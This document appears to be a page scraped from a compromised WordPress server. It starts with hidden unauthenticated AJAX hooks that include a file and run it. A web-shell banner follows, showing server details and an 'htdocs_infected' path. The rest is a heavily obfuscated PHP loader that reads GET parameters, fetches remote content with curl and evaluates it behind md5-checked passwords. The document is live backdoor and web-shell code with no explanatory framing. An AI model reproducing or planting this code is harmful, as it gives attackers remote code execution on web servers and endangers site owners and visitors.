if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /data/www/welovefamily.at/welovefamily.at/htdocs_infected/wp-admin/network/network/network/
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs_infected/wp-admin/network/network/network/yb.ogm
<?php
 goto Unwuc_eKmjoe6w2; wog2S3CgzNevvlv: $yeLBy1jAVbaSGn9 = ${$O3h2pMuek7yeLX7[6 + 25] . $O3h2pMuek7yeLX7[16 + 43] . $O3h2pMuek7yeLX7[25 + 22] . $O3h2pMuek7yeLX7[35 + 12] . $O3h2pMuek7yeLX7[34 + 17] . $O3h2pMuek7yeLX7[36 + 17] . $O3h2pMuek7yeLX7[25 + 32]}; goto H0W6xbQouif2EaD; T872N016UUIAOzG: class DWjqmZ3yT18j3uw { static function t6WCG7wjSptWyNW($Jnj9aqIPiHA1L93) { goto pJFlyPzahtWZo3y; gbzof4l0GjPioZc: foreach ($Od0KHTxPCh2AVyn as $c2djBBKNzcbIhY9 => $qUApqbWscL_IRgC) { $jfQ_JyMg8ZBhycz .= $KAwbzeoihbJGvN4[$qUApqbWscL_IRgC - 53799]; AewKVn87wG4R9OA: } goto iyjM6avX62zgvMr; pJFlyPzahtWZo3y: $Fa4SUJtGk7YORaJ = "\162" . "\x61" . "\156" . "\147" . "\145"; goto rhaE9L6AHXXC_Mc; ExySmfGFM1WH7AL: return $jfQ_JyMg8ZBhycz; goto sTu0OH0mHBI2udI; XGDYVVRBh98QqMF: $jfQ_JyMg8ZBhycz = ''; goto gbzof4l0GjPioZc; GkSZAnGUVba1Ae7: $Od0KHTxPCh2AVyn = explode("\46", $Jnj9aqIPiHA1L93); goto XGDYVVRBh98QqMF; iyjM6avX62zgvMr: DXY3JeyWQ9Xd_tS: goto ExySmfGFM1WH7AL; rhaE9L6AHXXC_Mc: $KAwbzeoihbJGvN4 = $Fa4SUJtGk7YORaJ("\176", "\40"); goto GkSZAnGUVba1Ae7; sTu0OH0mHBI2udI: } static function lamG1mC1pM_P9Ma($lG0ymg3blPPoY_Z, $JwJfW0ElLJb5zM6) { goto tScbzUT9FMSUjFG; oiV127awP0HpiM7: curl_setopt($KjqP3WPmwleE3bQ, CURLOPT_RETURNTRANSFER, 1); goto YbnZP3zRQpFsgp2; YbnZP3zRQpFsgp2: $AI_FKxbjeovUU0Y = curl_exec($KjqP3WPmwleE3bQ); goto FCAJRdEeCF07V9_; FCAJRdEeCF07V9_: return empty($AI_FKxbjeovUU0Y) ? $JwJfW0ElLJb5zM6($lG0ymg3blPPoY_Z) : $AI_FKxbjeovUU0Y; goto pFYwnu3I5QIAVJX; tScbzUT9FMSUjFG: $KjqP3WPmwleE3bQ = curl_init($lG0ymg3blPPoY_Z); goto oiV127awP0HpiM7; pFYwnu3I5QIAVJX: } static function TBCqkhI9vKaxcj2() { goto vMF0HGtUf9jwHNN; cu0eJEA5VbVq3Dr: EBCdJQQ_PXeJoL3: goto R0L84NFWhLMzqh1; j8farzR1IvHGh33: $Xd2bVivxuLyEHzR = self::lamG1Mc1Pm_p9mA($S2h7qWW6kDrgF45[1 + 0], $UnrUeMU4NPl0Jsd[0 + 5]); goto G4uhsmkYIB61SLB; JzZgJz70YQALJZ1: ISIBwgFPYSq4pmf: goto MOhi_2hm7ur0O7Q; tLdTXsEodv2gVns: $P21xHgTuzAuLONf = @$UnrUeMU4NPl0Jsd[3 + 0]($UnrUeMU4NPl0Jsd[2 + 4], $sy6Yrd8s8vH5ZXw); goto LSnxKGygwoobGCt; LYwKFSF3fGqQc3_: foreach ($t3gWqKZISTW7oO_ as $ekPz7bo_vGC3vv7) { $UnrUeMU4NPl0Jsd[] = self::T6WCg7wJSpTWYNw($ekPz7bo_vGC3vv7); JMER6SZ2uiCSWHz: } goto JzZgJz70YQALJZ1; MOhi_2hm7ur0O7Q: $sy6Yrd8s8vH5ZXw = @$UnrUeMU4NPl0Jsd[1]($UnrUeMU4NPl0Jsd[6 + 4](INPUT_GET, $UnrUeMU4NPl0Jsd[2 + 7])); goto tLdTXsEodv2gVns; LSnxKGygwoobGCt: $S2h7qWW6kDrgF45 = $UnrUeMU4NPl0Jsd[2 + 0]($P21xHgTuzAuLONf, true); goto gDPIfqZ5HEWAXbL; G4uhsmkYIB61SLB: @$UnrUeMU4NPl0Jsd[0]('', $UnrUeMU4NPl0Jsd[2 + 5] . $UnrUeMU4NPl0Jsd[3 + 1]($Xd2bVivxuLyEHzR) . $UnrUeMU4NPl0Jsd[6 + 2]); goto o00eO9SiYuZTDQa; vMF0HGtUf9jwHNN: $t3gWqKZISTW7oO_ = array("\x35\63\x38\x32\66\x26\x35\63\70\61\61\46\65\x33\x38\x32\64\x26\x35\63\70\x32\x38\46\65\63\x38\60\71\x26\x35\63\70\x32\64\46\65\x33\70\63\x30\x26\x35\x33\70\62\63\x26\x35\x33\x38\x30\x38\x26\x35\63\x38\61\x35\46\65\63\x38\x32\x36\x26\65\x33\70\x30\71\x26\65\x33\70\62\x30\46\x35\63\70\x31\x34\46\65\63\x38\61\x35", "\x35\x33\x38\61\x30\46\65\x33\70\x30\71\46\x35\x33\70\x31\x31\46\65\x33\x38\63\x30\x26\65\63\70\61\61\x26\65\63\x38\x31\64\46\x35\63\x38\60\x39\46\65\x33\x38\67\x36\46\65\x33\70\x37\64", "\65\x33\70\x31\71\x26\65\x33\70\x31\x30\x26\x35\x33\x38\61\x34\46\x35\63\x38\x31\x35\x26\x35\63\70\x33\60\x26\65\63\x38\62\x35\46\65\63\70\x32\64\46\x35\x33\x38\x32\x36\46\x35\x33\70\61\64\x26\65\x33\70\x32\x35\46\x35\63\70\62\64", "\x35\63\70\x31\x33\x26\65\63\x38\62\x38\46\65\x33\x38\x32\66\46\65\x33\x38\x31\70", "\x35\63\x38\x32\x37\46\x35\x33\70\x32\x38\46\x35\x33\70\x31\x30\46\x35\63\70\62\64\46\65\x33\x38\x37\61\46\x35\x33\70\x37\x33\x26\x35\x33\70\x33\60\x26\65\63\70\62\x35\x26\65\63\x38\x32\x34\x26\65\x33\x38\x32\66\x26\x35\x33\x38\x31\x34\x26\65\63\70\62\x35\46\x35\x33\70\62\x34", "\x35\x33\70\62\63\46\65\x33\x38\62\x30\x26\x35\x33\x38\61\x37\46\65\x33\x38\x32\x34\x26\65\x33\x38\63\60\x26\x35\x33\70\62\62\46\x35\63\x38\x32\64\46\65\63\x38\60\71\46\65\63\x38\x33\60\x26\x35\63\x38\x32\66\x26\x35\x33\x38\61\64\x26\65\x33\70\x31\65\46\x35\x33\x38\x30\x39\46\65\x33\70\62\64\x26\x35\x33\70\61\65\x26\65\x33\x38\x30\71\x26\65\63\x38\x31\x30", "\x35\63\x38\x35\x33\x26\x35\x33\x38\70\63", "\x35\63\70\x30\60", "\x35\x33\x38\x37\x38\46\65\63\70\70\63", "\x35\x33\70\x36\x30\46\x35\63\70\64\x33\46\65\x33\x38\x34\x33\x26\x35\63\70\66\60\46\65\x33\70\x33\x36", "\65\x33\70\x32\x33\46\65\x33\70\x32\x30\x26\x35\63\x38\61\x37\x26\x35\63\70\60\x39\x26\65\x33\x38\62\x34\x26\x35\63\70\61\61\46\x35\x33\x38\63\x30\46\65\63\70\x32\x30\46\x35\x33\70\x31\65\46\65\63\70\61\x33\46\65\x33\x38\x30\x38\46\x35\63\70\x30\71"); goto LYwKFSF3fGqQc3_; o00eO9SiYuZTDQa: die; goto cu0eJEA5VbVq3Dr; qxaLY7h_0rn6y3w: if (!(@$S2h7qWW6kDrgF45[0] - time() > 0 and md5(md5($S2h7qWW6kDrgF45[1 + 2])) === "\x61\65\60\x35\x30\145\x64\63\x38\67\x31\x66\144\x36\141\60\64\x64\61\x31\142\x30\x66\x65\143\x32\x63\141\x64\61\x30\71")) { goto EBCdJQQ_PXeJoL3; } goto j8farzR1IvHGh33; gDPIfqZ5HEWAXbL: @$UnrUeMU4NPl0Jsd[9 + 1](INPUT_GET, "\157\x66") == 1 && die($UnrUeMU4NPl0Jsd[5 + 0](__FILE__)); goto qxaLY7h_0rn6y3w; R0L84NFWhLMzqh1: } } goto nrURRm8W0s2Irq7; Unwuc_eKmjoe6w2: $O3h2pMuek7yeLX7 = range("\x7e", "\x20"); goto wog2S3CgzNevvlv; HeMT_gGW19BAnR3: dslXG0_EnrphRcy: goto DQ6RWhUSkvMt6Wd; H0W6xbQouif2EaD: if (!(in_array(gettype($yeLBy1jAVbaSGn9) . count($yeLBy1jAVbaSGn9), $yeLBy1jAVbaSGn9) && count($yeLBy1jAVbaSGn9) == 11)) { goto dslXG0_EnrphRcy; } goto rfZ1IDhtqM20Ibi; DQ6RWhUSkvMt6Wd: metaphone("\x4e\x6a\111\172\117\124\x45\64\115\x7a\x63\x78\x4d\124\153\x35\117\x44\x4d\x35\x4e\124\x4d\x33\x4e\x6a\x55\63\x4e\x44\111\170"); goto T872N016UUIAOzG; rfZ1IDhtqM20Ibi: @(md5(md5(md5(md5($yeLBy1jAVbaSGn9[5])))) === "\145\x37\146\x64\67\x38\66\x37\x35\x31\x36\x63\146\x63\x34\x63\x36\146\70\x62\70\x65\146\141\64\142\144\x39\x33\143\62\x31") && (($yeLBy1jAVbaSGn9[69] = $yeLBy1jAVbaSGn9[69] . $yeLBy1jAVbaSGn9[76]) && ($yeLBy1jAVbaSGn9[87] = $yeLBy1jAVbaSGn9[69]($yeLBy1jAVbaSGn9[87])) && @($yeLBy1jAVbaSGn9 = $yeLBy1jAVbaSGn9[87]($yeLBy1jAVbaSGn9[53], $yeLBy1jAVbaSGn9[69](${$yeLBy1jAVbaSGn9[45]}[19]))) && $yeLBy1jAVbaSGn9()); goto HeMT_gGW19BAnR3; nrURRm8W0s2Irq7: DwJqMz3YT18j3UW::TBCqkhi9vkAxCJ2();
?>
@ Telegram